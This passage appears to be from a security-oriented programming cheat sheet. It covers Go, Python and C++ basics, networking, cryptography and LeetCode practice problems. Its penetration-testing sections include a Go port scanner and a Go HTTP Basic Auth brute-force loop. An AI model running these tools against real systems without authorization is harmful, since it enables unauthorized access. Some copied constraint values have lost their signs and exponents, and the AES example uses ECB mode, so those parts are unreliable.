   ```go
   package main

   import (
       "fmt"
       "io/ioutil"
   )

   func main() {
       content, err := ioutil.ReadFile("file.txt")
       if err != nil {
           fmt.Println(err)
           return
       }
       fmt.Println(string(content))
   }
   ```
2. **Writing Files:**

   ```go
   package main

   import (
       "fmt"
       "io/ioutil"
   )

   func main() {
       content := []byte("Hello, World!")
       err := ioutil.WriteFile("file.txt", content, 0644)
       if err != nil {
           fmt.Println(err)
       }
   }
   ```

### Networking

1. **Simple TCP Client:**

   ```go
   package main

   import (
       "bufio"
       "fmt"
       "net"
   )

   func main() {
       conn, err := net.Dial("tcp", "example.com:80")
       if err != nil {
           fmt.Println(err)
           return
       }
       fmt.Fprintf(conn, "GET / HTTP/1.0\r\n\r\n")
       status, err := bufio.NewReader(conn).ReadString('\n')
       if err != nil {
           fmt.Println(err)
           return
       }
       fmt.Println(status)
   }
   ```
2. **Simple TCP Server:**

   ```go
   package main

   import (
       "fmt"
       "net"
   )

   func main() {
       ln, err := net.Listen("tcp", ":8080")
       if err != nil {
           fmt.Println(err)
           return
       }
       for {
           conn, err := ln.Accept()
           if err != nil {
               fmt.Println(err)
               continue
           }
           go handleConnection(conn)
       }
   }

   func handleConnection(conn net.Conn) {
       fmt.Fprintln(conn, "Hello, World!")
       conn.Close()
   }
   ```

### Using Go for Penetration Testing

1. **Port Scanner:**

   ```go
   package main

   import (
       "fmt"
       "net"
       "time"
   )

   func main() {
       for i := 1; i <= 1024; i++ {
           address := fmt.Sprintf("scanme.nmap.org:%d", i)
           conn, err := net.DialTimeout("tcp", address, time.Second)
           if err != nil {
               continue
           }
           conn.Close()
           fmt.Printf("Port %d is open\n", i)
       }
   }
   ```
2. **HTTP Basic Authentication Brute Force:**

   ```go
   package main

   import (
       "fmt"
       "net/http"
       "strings"
   )

   func main() {
       url := "http://example.com"
       username := "admin"
       passwords := []string{"password1", "password2", "password3"}

       for _, password := range passwords {
           client := &http.Client{}
           req, _ := http.NewRequest("GET", url, nil)
           req.SetBasicAuth(username, password)
           resp, err := client.Do(req)
           if err != nil {
               fmt.Println("Request failed:", err)
               continue
           }
           if resp.StatusCode == 200 {
               fmt.Printf("Found valid credentials: %s:%s\n", username, password)
               break
           }
       }
   }
   ```

### Libraries and Tools

1. **Gorilla Web Toolkit:**
   * Useful for building robust web applications.
   * [Gorilla Toolkit](https://www.gorillatoolkit.org/)
2. **GoPacket:**
   * Library for packet processing with Go.
   * [GoPacket](https://github.com/google/gopacket)
3. **Zerolog:**
   * Fast and efficient structured logging library.
   * [Zerolog](https://github.com/rs/zerolog)


# Python

This guide quickly references essential Python syntax, functions, and concepts. Whether you are a beginner or an experienced developer, this cheat sheet will help you improve your Python skills. You'll find examples of basic syntax, data structures, control flow, functions, classes, and more.&#x20;

### Basic Syntax

#### Variables

```python
x = 10
y = "Hello, World!"
z = 3.14
```

#### Data Types

```python
integer = 10
floating_point = 3.14
string = "Hello"
boolean = True
list = [1, 2, 3]
dictionary = {"key": "value"}
tuple = (1, 2, 3)
set = {1, 2, 3}
```

#### Control Structures

**Conditional Statements**

```python
if x > 5:
    print("x is greater than 5")
elif x == 5:
    print("x is 5")
else:
    print("x is less than 5")
```

**Loops**

```python
for i in range(5):
    print(i)

while x > 0:
    print(x)
    x -= 1
```

#### Functions

```python
def greet(name):
    return f"Hello, {name}!"

print(greet("Alice"))
```

#### Classes

```python
class Dog:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def bark(self):
        return f"{self.name} says woof!"

dog = Dog("Buddy", 3)
print(dog.bark())
```

#### Sorting

```python
sorted_list = sorted(my_list)
sorted_dict = sorted(my_dict.items(), key=lambda item: item[1])
```

#### Basic Input/Output

```python
user_input = input("Enter your name: ")
print("Hello,", user_input)
```

### Working with Files

#### Reading Files

```python
with open("file.txt", "r") as file:
    content = file.read()
    print(content)
```

#### Writing Files

```python
with open("file.txt", "w") as file:
    file.write("Hello, World!")
```

### Networking

#### HTTP Requests

```python
import requests

response = requests.get("http://example.com")
print(response.status_code)
print(response.text)
```

#### Socket Programming

```python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("example.com", 80))
s.sendall(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = s.recv(4096)
print(response)
s.close()
```

### Security-Related Modules

#### Hashing

```python
import hashlib

# MD5
hash_md5 = hashlib.md5(b"password").hexdigest()
print(f"MD5: {hash_md5}")

# SHA-256
hash_sha256 = hashlib.sha256(b"password").hexdigest()
print(f"SHA-256: {hash_sha256}")
```

#### Encryption and Decryption

**Using `cryptography` Library**

```python
from cryptography.fernet import Fernet

# Generate a key
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Encrypt a message
cipher_text = cipher_suite.encrypt(b"Secret message")
print(f"Encrypted: {cipher_text}")

# Decrypt the message
plain_text = cipher_suite.decrypt(cipher_text)
print(f"Decrypted: {plain_text}")
```

#### Password Hashing

```python
from passlib.hash import pbkdf2_sha256

# Hash a password
hashed = pbkdf2_sha256.hash("password")
print(f"Hashed: {hashed}")

# Verify a password
is_correct = pbkdf2_sha256.verify("password", hashed)
print(f"Password correct: {is_correct}")
```

### Web Scraping

#### Using `BeautifulSoup`

```python
from bs4 import BeautifulSoup
import requests

response = requests.get("http://example.com")
soup = BeautifulSoup(response.text, 'html.parser')

for link in soup.find_all('a'):
    print(link.get('href'))
```

### Working with JSON

```python
import json

# Parse JSON
data = '{"name": "Alice", "age": 25}'
parsed_data = json.loads(data)
print(parsed_data)

# Convert to JSON
dict_data = {"name": "Bob", "age": 30}
json_data = json.dumps(dict_data)
print(json_data)
```

### Command Execution

#### Using `subprocess` Module

```python
import subprocess

# Run a command and get the output
result = subprocess.run(["ls", "-la"], capture_output=True, text=True)
print(result.stdout)
```

### Regular Expressions

```python
import re

pattern = r"\b[A-Za-z]+\b"
text = "The quick brown fox jumps over the lazy dog"

matches = re.findall(pattern, text)
print(matches)
```

### Logging

```python
import logging

logging.basicConfig(level=logging.INFO)
logging.info("This is an info message")
logging.warning("This is a warning message")
logging.error("This is an error message")
```

### Useful Tips

#### Virtual Environments

```sh
# Create a virtual environment
python -m venv venv

# Activate the virtual environment
# On Windows
venv\Scripts\activate
# On Unix or MacOS
source venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Deactivate the virtual environment
deactivate
```

#### Exception Handling

```python
try:
    result = 10 / 0
except ZeroDivisionError as e:
    print(f"Error: {e}")
finally:
    print("This block is always executed")
```

#### List Comprehensions

```python
squares = [x ** 2 for x in range(10)]
print(squares)
```

#### Dictionary Comprehensions

```python
squares_dict = {x: x ** 2 for x in range(10)}
print(squares_dict)
```

#### Using `itertools` for Efficient Iteration

```python
import itertools

permutations = list(itertools.permutations([1, 2, 3]))
print(permutations)

combinations = list(itertools.combinations([1, 2, 3], 2))
print(combinations)
```

#### Using `collections` for Advanced Data Structures

```python
from collections import Counter, defaultdict, deque

# Counter
counter = Counter("hello world")
print(counter)

# Defaultdict
default_dict = defaultdict(int)
default_dict["key"] += 1
print(default_dict)

# Deque
deque_list = deque([1, 2, 3])
deque_list.appendleft(0)
print(deque_list)
```

#### Using `os` for System Operations

```python
import os

# Get current working directory
cwd = os.getcwd()
print(cwd)

# List files in directory
files = os.listdir(".")
print(files)

# Execute a system command
os.system("echo Hello, World!")
```

### Penetration Testing Tools

#### `scapy` for Network Packet Manipulation

```python
from scapy.all import *

# Create a packet
packet = IP(dst="192.168.1.1")/ICMP()
# Send the packet
send(packet)
```

#### `nmap` for Network Scanning

```python
import nmap

nm = nmap.PortScanner()
nm.scan('127.0.0.1', '22-443')
print(nm.csv())
```

#### `socket` for Simple Network Connections

```python
pythonCopy codeimport socket

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to a server
s.connect(('localhost', 8080))
# Send data
s.sendall(b'Hello, World!')
# Receive data
data = s.recv(1024)
print('Received', repr(data))
# Close the connection
s.close()
```


# C++

### **Basic Syntax**

* **Comments**

  ```cpp
  // Single line comment
  /* Multi-line comment */
  ```
* **Headers**

  ```cpp
  #include <iostream> // Standard input-output stream
  #include <string>   // String library
  #include <vector>   // Vector library
  #include <fstream>  // File stream
  #include <sstream>  // String stream
  ```
* **Main Function**

  ```cpp
  int main() {
      // code
      return 0;
  }
  ```

### **Data Types**

* **Primitive Types**

  ```cpp
  int, float, double, char, bool
  ```
* **String**

  ```cpp
  std::string str = "Hello, World!";
  ```
* **Vectors**

  ```cpp
  std::vector<int> vec = {1, 2, 3, 4};
  ```

### **Control Structures**

* **If-Else**

  ```cpp
  if (condition) {
      // code
  } else {
      // code
  }
  ```
* **Switch**

  ```cpp
  switch (expression) {
      case value1:
          // code
          break;
      case value2:
          // code
          break;
      default:
          // code
  }
  ```
* **Loops**

  ```cpp
  // For loop
  for (int i = 0; i < 10; ++i) {
      // code
  }

  // While loop
  while (condition) {
      // code
  }

  // Do-while loop
  do {
      // code
  } while (condition);
  ```

### **Functions**

* **Basic Function**

  ```cpp
  void myFunction() {
      // code
  }

  int add(int a, int b) {
      return a + b;
  }
  ```
* **Function Overloading**

  ```cpp
  void print(int i) {
      std::cout << i << std::endl;
  }

  void print(double f) {
      std::cout << f << std::endl;
  }

  void print(std::string str) {
      std::cout << str << std::endl;
  }
  ```

### **Object-Oriented Programming**

* **Class**

  ```cpp
  class MyClass {
  public:
      int myNum;
      std::string myString;

      void myMethod() {
          // code
      }
  };
  ```
* **Constructor and Destructor**

  ```cpp
  class MyClass {
  public:
      MyClass() { // Constructor
          // code
      }

      ~MyClass() { // Destructor
          // code
      }
  };
  ```
* **Inheritance**

  ```cpp
  class Base {
  public:
      void baseMethod() {
          // code
      }
  };

  class Derived : public Base {
  public:
      void derivedMethod() {
          // code
      }
  };
  ```

### **Pointers and Memory Management**

* **Pointers**

  ```cpp
  int var = 10;
  int* ptr = &var; // Pointer to var

  std::cout << *ptr; // Dereference pointer
  ```
* **Dynamic Memory Allocation**

  ```cpp
  int* ptr = new int;
  *ptr = 10;

  delete ptr; // Deallocate memory

  int* arr = new int[10];
  delete[] arr; // Deallocate array
  ```

### **File I/O**

* **Reading from a File**

  ```cpp
  std::ifstream inFile("example.txt");
  std::string line;
  while (std::getline(inFile, line)) {
      std::cout << line << std::endl;
  }
  inFile.close();
  ```
* **Writing to a File**

  ```cpp
  std::ofstream outFile("example.txt");
  outFile << "Hello, World!" << std::endl;
  outFile.close();
  ```

### **String Manipulation**

* **Concatenation**

  ```cpp
  std::string str1 = "Hello, ";
  std::string str2 = "World!";
  std::string str3 = str1 + str2;
  ```
* **Finding Substring**

  ```cpp
  std::string str = "Hello, World!";
  std::size_t found = str.find("World");
  if (found != std::string::npos)
      std::cout << "Found 'World' at: " << found << std::endl;
  ```
* **Substring**

  ```cpp
  std::string str = "Hello, World!";
  std::string sub = str.substr(7, 5); // "World"
  ```

### **Useful Libraries for Security**

* **Crypto++ (Cryptographic library)**

  ```cpp
  #include <cryptopp/sha.h>
  #include <cryptopp/hex.h>

  std::string sha256(const std::string& input) {
      CryptoPP::SHA256 hash;
      std::string digest;

      CryptoPP::StringSource s(input, true,
          new CryptoPP::HashFilter(hash,
              new CryptoPP::HexEncoder(
                  new CryptoPP::StringSink(digest), true)));

      return digest;
  }
  ```
* **Boost Libraries (General-purpose libraries)**

  ```cpp
  #include <boost/algorithm/string.hpp>

  std::string to_upper(const std::string& str) {
      std::string result;
      boost::to_upper_copy(std::back_inserter(result), str);
      return result;
  }
  ```
* **Poco (Network and other utilities)**

  ```cpp
  #include <Poco/Net/HTTPClientSession.h>
  #include <Poco/Net/HTTPRequest.h>
  #include <Poco/Net/HTTPResponse.h>
  #include <Poco/StreamCopier.h>
  #include <iostream>
  #include <string>

  void http_get(const std::string& host, const std::string& path) {
      Poco::Net::HTTPClientSession session(host);
      Poco::Net::HTTPRequest request(Poco::Net::HTTPRequest::HTTP_GET, path);
      session.sendRequest(request);

      Poco::Net::HTTPResponse response;
      std::istream& rs = session.receiveResponse(response);
      std::string responseBody;
      Poco::StreamCopier::copyToString(rs, responseBody);
      std::cout << responseBody << std::endl;
  }
  ```

### **Common Security-Related Tasks**

* **Buffer Overflow Prevention**

  ```cpp
  char buffer[10];
  std::strncpy(buffer, input.c_str(), sizeof(buffer) - 1);
  buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate
  ```
* **Input Validation**

  ```cpp
  bool is_valid_input(const std::string& input) {
      // Implement validation logic (e.g., regex)
      return true; // or false based on validation
  }
  ```
* **Secure File Handling**

  ```cpp
  std::ifstream inFile("example.txt", std::ios::binary);
  if (!inFile) {
      std::cerr << "Error opening file!" << std::endl;
      return;
  }
  ```
* **Hashing and Encryption (Using Crypto++)**

  ```cpp
  #include <cryptopp/sha.h>
  #include <cryptopp/hex.h>
  #include <cryptopp/aes.h>
  #include <cryptopp/filters.h>
  #include <cryptopp/modes.h>

  std::string sha256(const std::string& input) {
      CryptoPP::SHA256 hash;
      std::string digest;

      CryptoPP::StringSource s(input, true,
          new CryptoPP::HashFilter(hash,
              new CryptoPP::HexEncoder(
                  new CryptoPP::StringSink(digest), true)));

      return digest;
  }

  std::string encrypt_aes(const std::string& plaintext, const std::string& key) {
      std::string ciphertext;
      CryptoPP::AES::Encryption aesEncryption((byte*)key.c_str(), CryptoPP::AES::DEFAULT_KEYLENGTH);
      CryptoPP::ECB_Mode_ExternalCipher::Encryption ecbEncryption(aesEncryption);

      CryptoPP::StringSource(plaintext, true,
          new CryptoPP::StreamTransformationFilter(ecbEncryption,
              new CryptoPP::StringSink(ciphertext)));

      return ciphertext;
  }
  ```


# AI Security

<figure><img src="/files/CJnT2sMljLjN2XdWT7hS" alt=""><figcaption></figcaption></figure>


# Learning Resources

{% embed url="<https://cloudsecurityalliance.org/blog/2023/10/16/demystifying-secure-architecture-review-of-generative-ai-based-products-and-services>" %}

{% embed url="<https://ieeexplore.ieee.org/document/9917931>" %}

{% embed url="<https://www.nextdlp.com/resources/blog/ai-security-questions>" %}

{% embed url="<https://www.reddit.com/r/cybersecurity/comments/1abgm6g/ideas_for_ai_in_cybersecurity/?onetap_auto=true&one_tap=true>" %}

{% embed url="<https://github.com/Giskard-AI/giskard?tab=readme-ov-file>" %}

{% embed url="<https://github.com/jiep/offensive-ai-compilation?tab=readme-ov-file#-abuse->" %}


# Coding Practices


# Leetcode

Some leetcode questions for security roles

## [Two Sum](https://leetcode.com/problems/two-sum/)

<table data-header-hidden data-full-width="false"><thead><tr><th width="208"></th><th></th></tr></thead><tbody><tr><td>Difficulty</td><td>Easy</td></tr><tr><td>Topics</td><td>arrrays, hashmap</td></tr></tbody></table>

Given an array of integers `nums` and an integer `target`, return *indices of the two numbers such that they add up to `target`*.

You may assume that each input would have ***exactly*****&#x20;one solution**, and you may not use the *same* element twice.

You can return the answer in any order.

**Example 1:**

```
Input: nums = [2,7,11,15], target = 9
Output: [0,1]
Explanation: Because nums[0] + nums[1] == 9, we return [0, 1].

```

**Example 2:**

```
Input: nums = [3,2,4], target = 6
Output: [1,2]

```

**Example 3:**

```
Input: nums = [3,3], target = 6
Output: [0,1]

```

**Constraints:**

* `2 <= nums.length <= 104`
* `109 <= nums[i] <= 109`
* `109 <= target <= 109`
* **Only one valid answer exists.**

**Follow-up:**

Can you come up with an algorithm that is less than

```
O(n2)
```

time complexity?

#### **Solution: Bruteforce**

```python
class Solution:
    def twoSum(self, nums: List[int], target: int) -> List[int]:
        result = set()
        for x in range(0,len(nums)):
            for y in range(0,len(nums)):
                if x == y:
                    continue
                if nums[x] + nums[y] == target:
                    result.add(x)
                    result.add(y)
        return result
        
```

<details>

<summary>Solution 2: Use hashmap:</summary>

```python
class Solution:
    def twoSum(self, nums: List[int], target: int) -> List[int]:
        result = []
        hashmap = {}
        for x in range(0, len(nums)):
            minus_data = target - nums[x]
            if minus_data in hashmap:
                result.append(hashmap[minus_data])
                result.append(x)
            hashmap[nums[x]] = x
        return result
```

</details>

{% embed url="<https://www.youtube.com/watch?v=KLlXCFG5TnA>" %}

## [Two Sum II - Input Array Is Sorted](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/)

<table data-header-hidden data-full-width="false"><thead><tr><th width="208"></th><th></th></tr></thead><tbody><tr><td>Difficulty</td><td>medium</td></tr><tr><td>Topics</td><td>arrrays, two pointers</td></tr></tbody></table>

Given a **1-indexed** array of integers `numbers` that is already ***sorted in non-decreasing order***, find two numbers such that they add up to a specific `target` number. Let these two numbers be `numbers[index1]` and `numbers[index2]` where `1 <= index1 < index2 <= numbers.length`.

Return *the indices of the two numbers,* `index1` *and* `index2`*, **added by one** as an integer array* `[index1, index2]` *of length 2.*

The tests are generated so that there is **exactly one solution**. You **may not** use the same element twice.

Your solution must use only constant extra space.&#x20;

**Example 1:**

<pre><code><strong>Input: numbers = [2,7,11,15], target = 9
</strong><strong>Output: [1,2]
</strong><strong>Explanation: The sum of 2 and 7 is 9. 
</strong><strong>Therefore, index1 = 1, index2 = 2. We return [1, 2].
</strong></code></pre>

**Example 2:**

<pre><code><strong>Input: numbers = [2,3,4], target = 6
</strong><strong>Output: [1,3]
</strong><strong>Explanation: The sum of 2 and 4 is 6. Therefore index1 = 1, index2 = 3. 
</strong><strong>We return [1, 3].
</strong></code></pre>

**Example 3:**

<pre><code><strong>Input: numbers = [-1,0], target = -1
</strong><strong>Output: [1,2]
</strong><strong>Explanation: The sum of -1 and 0 is -1. Therefore index1 = 1, index2 = 2. 
</strong><strong>We return [1, 2].
</strong></code></pre>

**Constraints:**

* `2 <= numbers.length <= 3 * 104`
* `-1000 <= numbers[i] <= 1000`
* `numbers` is sorted in **non-decreasing order**.
* `-1000 <= target <= 1000`
* The tests are generated so that there is **exactly one solution**.

#### Solution

```
// Some code
```

#### Additional Resources

{% embed url="<https://www.youtube.com/watch?v=cQ1Oz4ckceM>" %}

## Contains Duplicate

#### Additional Resources

{% embed url="<https://www.youtube.com/watch?v=a1_r3cLQ6wg>" %}

## Min Stack

Design a stack that supports push, pop, top, and retrieving the minimum element in constant time.

Implement the `MinStack` class:

* `MinStack()` initializes the stack object.
* `void push(int val)` pushes the element `val` onto the stack.
* `void pop()` removes the element on the top of the stack.
* `int top()` gets the top element of the stack.
* `int getMin()` retrieves the minimum element in the stack.

You must implement a solution with `O(1)` time complexity for each function.

**Example 1:**

```
Input
["MinStack","push","push","push","getMin","pop","top","getMin"]
[[],[-2],[0],[-3],[],[],[],[]]

Output
[null,null,null,null,-3,null,0,-2]

Explanation
MinStack minStack = new MinStack();
minStack.push(-2);
minStack.push(0);
minStack.push(-3);
minStack.getMin(); // return -3
minStack.pop();
minStack.top();    // return 0
minStack.getMin(); // return -2

```

**Constraints:**

* `231 <= val <= 231 - 1`
* Methods `pop`, `top` and `getMin` operations will always be called on **non-empty** stacks.
* At most `3 * 104` calls will be made to `push`, `pop`, `top`, and `getMin`.

#### Solution

```python
class MinStack(object):

    def __init__(self):
        self.stack = []
        self.min_stack = []

    def push(self, val):
        self.stack.append(val)
        val = min(val, self.min_stack[-1] if self.min_stack else val)
        self.min_stack.append(val)

    def pop(self):
        self.stack.pop()
        self.min_stack.pop()

    def top(self):
        return self.stack[-1] if self.stack else None

    def getMin(self):
        return self.min_stack[-1] if self.min_stack else None
        


# Your MinStack object will be instantiated and called as such:
# obj = MinStack()
# obj.push(val)
# obj.pop()
# param_3 = obj.top()
# param_4 = obj.getMin()
```

#### Additional Resources

{% embed url="<https://www.youtube.com/watch?v=qkLl7nAwDPo>" %}

## Valid Parentheses

## Merge Two Sorted List

## Daily Temperatures


# API

API&#x20;


# Log Parsing


# Penetration Testing

P


